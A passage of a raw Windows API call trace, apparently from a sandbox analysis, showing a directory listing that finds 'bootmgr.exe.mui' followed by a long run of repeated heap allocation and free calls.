0x3463848 [0124.330] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.330] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.330] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.330] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.331] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.331] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.332] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.332] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.333] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.333] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.334] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.335] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.335] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.336] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.336] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.336] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.336] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.336] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.336] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.336] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.336] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.336] HeapFree (in: 